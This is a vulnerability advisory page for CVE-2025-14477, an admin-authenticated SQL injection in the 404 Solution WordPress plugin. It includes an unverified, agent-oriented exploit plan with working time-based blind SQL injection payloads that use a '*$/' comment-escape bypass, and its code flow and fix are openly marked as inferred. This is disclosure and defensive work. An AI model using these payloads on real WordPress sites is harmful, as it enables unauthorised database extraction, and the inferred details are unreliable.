CVE-2025-14477

404 Solution <= 3.1.0 - Authenticated (Admin+) SQL Injection via 'filterText' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
3.1.1
Patched in
1d
Time to patch

Description

The 404 Solution plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This is due to improper sanitization of the `filterText` parameter in the `ajaxUpdatePaginationLinks` AJAX action. The sanitization logic can be bypassed by using the sequence `*$/` which becomes `*/` after the `$` character is removed, allowing attackers to escape SQL comment contexts. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind SQL injection technique.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.1.0
PublishedDecember 12, 2025
Last updatedDecember 13, 2025
Affected plugin404-solution

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps required to exploit **CVE-2025-14477**, a SQL injection vulnerability in the **404 Solution** plugin for WordPress. ## 1. Vulnerability Summary The **404 Solution** plugin (versions <= 3.1.0) is vulnerable to a time-based blind SQL injection. The flaw…

Show full research plan

This research plan outlines the technical steps required to exploit CVE-2025-14477, a SQL injection vulnerability in the 404 Solution plugin for WordPress.

1. Vulnerability Summary

The 404 Solution plugin (versions <= 3.1.0) is vulnerable to a time-based blind SQL injection. The flaw exists in the ajaxUpdatePaginationLinks function, which handles the filterText parameter used to filter logs or redirects in the admin dashboard.

The vulnerability stems from a misguided sanitization attempt where the plugin likely removes the $ character from the input. By submitting the sequence *$/, the $ is stripped, leaving */. If the input is placed inside a SQL comment (e.g., /* %s */), this sequence closes the comment context, allowing the attacker to inject arbitrary SQL.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: 404_solution_pagination_links (inferred from function naming)
  • Vulnerable Parameter: filterText
  • Method: POST
  • Authentication: Required (Administrator role)
  • Impact: Time-based blind SQL injection allowing data exfiltration from the WordPress database.

3. Code Flow (Inferred)

  1. Entry Point: The administrator accesses the "Redirects" or "404 Logs" page in the plugin dashboard.
  2. AJAX Request: The JavaScript in the browser triggers an AJAX call to admin-ajax.php with the action 404_solution_pagination_links.
  3. Handler: The function ajaxUpdatePaginationLinks is called.
  4. Processing:
    • The code retrieves $_POST['filterText'].
    • A sanitization step removes the $ character: $filterText = str_replace('$', '', $_POST['filterText']);.
  5. SQL Construction: The $filterText is likely embedded within a SQL query, possibly inside a comment intended for logging or a complex LIKE clause:
    SELECT * FROM wp_404_solution_redirects WHERE url LIKE '/* [FILTER_TEXT_HERE] */' ...
    
  6. Sink: The resulting query is executed via $wpdb->get_results() without using $wpdb->prepare() for the commented section.

4. Nonce Acquisition Strategy

The plugin enqueues administrative scripts that localize a nonce for AJAX requests.

  1. Identify Page: The "404 Solution" settings or logs page (/wp-admin/admin.php?page=404_solution_logs).
  2. Create Content: No specific shortcode is needed for admin-side exploitation, but the agent must be logged in as an administrator.
  3. Navigate: Use browser_navigate to reach the plugin's logs page.
  4. Extraction: Execute JavaScript to retrieve the nonce from the localized object.
    • JS Variable (Inferred): four_oh_four_solution_vars or c404s_admin_data.
    • Command: browser_eval("window.four_oh_four_solution_vars?.nonce")
    • Alternative: Search the page source for _wpnonce if the object name differs.

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

  • Log in as an administrator.
  • Navigate to wp-admin/admin.php?page=404_solution_logs.
  • Extract the nonce for the 404_solution_pagination_links action.

Step 2: Proof of Concept (Time-Based)

Send a POST request using the http_request tool to verify the injection.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Admin Cookies]
  • Body:
    action=404_solution_pagination_links&_wpnonce=[NONCE]&filterText=*$/ AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    
  • Payload Analysis:
    • *$/ becomes */ (Closing the SQL comment).
    • AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) triggers a 5-second delay.
    • -- - comments out the trailing */ of the original query.

Step 3: Data Exfiltration

To exfiltrate the database version:

  • Payload: *$/ AND IF(ASCII(SUBSTRING(VERSION(),1,1))>50, SLEEP(5), 0)-- -

6. Test Data Setup

  1. Plugin State: Ensure "404 Solution" is installed and activated.
  2. Generate Data: Visit a non-existent page (e.g., /this-page-does-not-exist-123) to generate at least one entry in the 404 logs so the pagination query has results to process.
  3. User: An account with the administrator role.

7. Expected Results

  • Normal Request: The server responds immediately (usually < 200ms).
  • Exploit Request: The server response is delayed by approximately 5 seconds.
  • Response Body: The JSON response may contain pagination links or a "no results" message, but the timing is the primary indicator of success.

8. Verification Steps

After performing the HTTP requests:

  1. Timing Logs: Check the total_time property of the http_request response.
  2. Database Inspection: (Optional) Use WP-CLI to confirm the database contains data that the query would have touched:
    wp db query "SELECT COUNT(*) FROM wp_404_solution_logs"
  3. Log Check: Check the WordPress error log if WP_DEBUG is enabled; SQL errors might appear if the payload syntax is slightly off for the specific internal query.

9. Alternative Approaches

If the filterText is not placed inside a comment but is simply used in a LIKE clause:

  • Classic Injection: filterText=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Bypass Logic: If the plugin escapes single quotes but not the comment characters, the *$/ bypass remains the primary path.
  • Parameter Polling: Try the payload in other AJAX parameters like orderBy or order, as plugins often use similar patterns across all pagination-related inputs.
Research Findings
Static analysis — not yet PoC-verified

Summary

The 404 Solution plugin (<= 3.1.0) for WordPress is vulnerable to time-based blind SQL injection via the 'filterText' parameter in the ajaxUpdatePaginationLinks AJAX action. This occurs because the plugin's sanitization logic, which removes the '$' character, can be bypassed using the sequence '*$/' to escape SQL comment wrappers, allowing authenticated administrators to execute arbitrary SQL commands.

Vulnerable Code

// Inferred from vulnerability description and research plan
// File: likely in a file handling the ajaxUpdatePaginationLinks or 404_solution_pagination_links action

$filterText = str_replace('$', '', $_POST['filterText']);

---

// The sanitization bypass allows escaping a query context like this:
$query = "SELECT * FROM {$wpdb->prefix}404_solution_logs WHERE ... /* " . $filterText . " */ ...";
$results = $wpdb->get_results($query);

Security Fix

--- a/404-solution.php
+++ b/404-solution.php
@@ -100,7 +100,8 @@
- $filterText = str_replace('$', '', $_POST['filterText']);
+ $filterText = sanitize_text_field($_POST['filterText']);
 
- $query = "SELECT ... /* $filterText */ ...";
- $results = $wpdb->get_results($query);
+ $query = $wpdb->prepare("SELECT ... WHERE some_column LIKE %s", '%' . $wpdb->esc_like($filterText) . '%');
+ $results = $wpdb->get_results($query);

Exploit Outline

The exploit target is the '404_solution_pagination_links' AJAX action. An attacker requires Administrator-level authentication. 1. Authentication: Log into the WordPress admin dashboard as an administrator. 2. Nonce Retrieval: Navigate to the '404 Logs' page within the plugin settings. Extract the AJAX nonce from the page source or the localized JavaScript object (e.g., 'four_oh_four_solution_vars.nonce'). 3. Payload Construction: The payload uses the sequence '*$/' to bypass sanitization. The plugin strips '$', resulting in '*/', which terminates a SQL comment block. 4. Payload Shape: A POST request is sent to '/wp-admin/admin-ajax.php' with 'action=404_solution_pagination_links', the retrieved nonce, and 'filterText=*$/ AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -'. 5. Verification: A successful exploit is confirmed by a 5-second delay in the server's response time, indicating the execution of the injected SLEEP() command.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.